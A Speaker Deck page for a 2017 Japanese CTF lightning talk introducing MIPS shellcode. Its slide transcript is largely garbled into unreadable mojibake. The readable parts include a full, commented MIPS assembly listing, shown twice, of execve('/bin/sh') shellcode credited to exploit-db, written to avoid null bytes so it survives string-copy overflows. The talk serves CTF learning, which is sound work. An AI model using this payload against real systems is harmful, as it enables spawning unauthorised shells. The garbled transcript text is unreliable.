Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
mipsシェルコード入門
Search
Chihiro Hasegawa
August 11, 2017
Technology
960
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
mipsシェルコード入門
2017年8月11日 CpawLT
Chihiro Hasegawa
August 11, 2017
More Decks by Chihiro Hasegawa
See All by Chihiro Hasegawa
大規模Cloud Native環境におけるFalcoの運用
owlinux1000
0
410
Sysdig Secure/Falcoの活用術! ~Kubernetes基盤の脅威モデリングとランタイムセキュリティの強化~
owlinux1000
0
1.7k
SECCON Beginners 2017 東京 Binary編
owlinux1000
1
140
Other Decks in Technology
See All in Technology
アプリをもっと"iOSアプリっぽく"する小さな工夫 / Small Touches That Make Your App Feel More Like an iOS App
matsuji
2
930
越境するなら専門用語を使うな高校校歌 / If you wanna cross border, you shouldn't use jargon
vtryo
0
140
HHKBエバンジェリストになる方法
941
0
110
エージェントはローカル、検証はMicroVM — Lambda MicroVMsでつくるServerless CI
fujioka6789
1
100
Azure Serverless 2026:Production-ready な AI エージェント基盤 / Azure Serverless 2026: Production-Ready AI Agent Platform
miyake
1
150
Reactの設計論
uhyo
24
13k
すぐできる衛星通信対応 あとは山奥に行くだけ
tatetate55
0
130
10分で知る最近のOmarchy
komagata
0
350
今話題のAI「Jev」って何? 宇宙最速で学ぶ会
minorun365
PRO
26
15k
iOSDC Japan 2026 day1 TrackC 10:50
feedtailor
1
160
HRC_Frontend_Conference_Fukuoka_2026.pdf
ts020
0
730
AIに任せた品質は、誰が見立てるのか - AI時代のテストマネジメント
nakanao
2
1.9k
Featured
See All Featured
The Power of CSS Pseudo Elements
geoffreycrofte
82
6.6k
What’s in a name? Adding method to the madness
productmarketing
PRO
24
4.2k
SEO Brein meetup: CTRL+C is not how to scale international SEO
lindahogenes
2
2.9k
The B2B funnel & how to create a winning content strategy
katarinadahlin
PRO
1
520
How to Create Impact in a Changing Tech Landscape [PerfNow 2023]
tammyeverts
56
3.5k
The Illustrated Children's Guide to Kubernetes
chrisshort
51
53k
[Rails World 2023 - Day 1 Closing Keynote] - The Magic of Rails
eileencodes
38
3k
Crafting Experiences
bethany
1
340
Efficient Content Optimization with Google Search Console & Apps Script
katarinadahlin
PRO
1
850
Agile Leadership in an Agile Organization
kimpetersen
PRO
0
230
Designing for Timeless Needs
cassininazir
1
480
Applied NLP in the Age of Generative AI
inesmontani
PRO
4
2.5k
Transcript
NJQTγΣϧίʔυೖ $QBX-5!ίϫʔΩϯάεϖʔεכொ $P&EP ݄ ۚ https://speakerdeck.com/owlinux1000
എܠ • $5' $BQUVSF5IF'MBH ͰγΣϧΛ ୣऔ͢Δδϟϯϧ1XO &YQMPJU ͕͋Δ • ͍͍ͩͨͷ͕YΞʔΩςΫνϟ
• ͨ·ʹଞͷΞʔΩςΫνϟͷͰΔ ˠ NJQTͷษڧΛͯ͠ΈΑ͏
എܠ • ໋ྩηοτɾΞʔΩςΫνϟҟͳΔ • Y্ͰɺNJQTͷ࣮ߦϑΝΠϧಈ͔ͳ͍ ˠ ԾతʹΤϛϡϨʔτ͢Δඞཁ͕͋Δ mov eax,
0x0 move v0, zero x86 mips
2FNVʹΑΔڥ࡞ • ຊ࣭Ͱͳ͍ͷͰׂѪ • #VJMEJOHB%FCJBO 4USFUDI2&.6 JNBHFGPS.*14FM<>͕Θ͔Γ͍͢ [1] https://blahcat.github.io/2017/07/14/building-a-debian-stretch-qemu-image-for-mipsel/
[2] https://ja.wikipedia.org/wiki/QEMU#/media/File:Qemu_logo.svg [2]
γΣϧίʔυ • ٛͷҙຯͰɺ߈ܸ༻ͷίʔυͷஅย • $5'Ͱ FYFDWF lCJOTIz /6-- /6--
Λ͢ΔίʔυΛΛࢦ͢ࣄ͕ଟ͍ • ΞηϯϒϦݴޠͰɺγεςϜίʔϧΛ ݺͿඞཁ͕͋Δ
γεςϜίʔϧ • Χʔωϧ͕࣋ͭػೳΛݺͼग़͢ࡍʹར༻ • WϨδελʹγεςϜίʔϧ൪߸ • ྫ PQFO ϑΝΠϧΛ։͘ •
BϨδελʹୈҰҾɾɾɾ • ্هΛઃఆޙɺTZTDBMM໋ྩΛݺͿ https://w3challs.com/syscalls/?arch=mips_o32
NJQTͷγΣϧίʔυ<> ΞυϨε ΞηϯϒϦ ίϝϯτ 0x1000 slti $a2, $zero, -1 $a2
<- 0 0x1004 bltzal $a2, 0x1004 $ra <- 次の命令のアドレス(0x100c) 0x1008 slti $a1, $zero, -1 $a1 <- 0 0x100c addu $a0, $ra, 4097 $a0 <- $ra + 4097 0x1010 addu $a0, $a0, -4081 $a0 <- $a0 – 4081 ($a0 = $ra + 16) 0x1014 li $v0, 4011 $v0 = 4011 (execveの番号) 0x1018 syscall 0x40404 システムコールを呼ぶ 0x101c .string "/bin/sh" [3] https://www.exploit-db.com/exploits/35868/
NJQTͷγΣϧίʔυ<> ΞυϨε ΞηϯϒϦ ίϝϯτ 0x1000 slti $a2, $zero, -1 $a2
<- 0 0x1004 bltzal $a2, 0x1004 $ra <- 次の命令のアドレス(0x100c) 0x1008 slti $a1, $zero, -1 $a1 <- 0 0x100c addu $a0, $ra, 4097 $a0 <- $ra + 4097 0x1010 addu $a0, $a0, -4081 $a0 <- $a0 – 4081 ($a0 = $ra + 16) 0x1014 li $v0, 4011 $v0 = 4011 (execveの番号) 0x1018 syscall 0x40404 システムコールを呼ぶ 0x101c .string "/bin/sh" [3] https://www.exploit-db.com/exploits/35868/ ※機械語に変換した時に”\x00”が⼊らないようなプログラムを意図的に作っている → str(n)cpyなどの関数を使っている場合、”\x00”があるとそこで途切れる
࣮ߦ݁Ռ
͓ΘΓ • NJQTͷγΣϧίʔυͷΈΛֶΜͩ • ڵຯ͕ग़ͨਓͥͻಡΜͰΈͯԼ͍͞
એ https://tokyowesterns.github.io/ctf2017/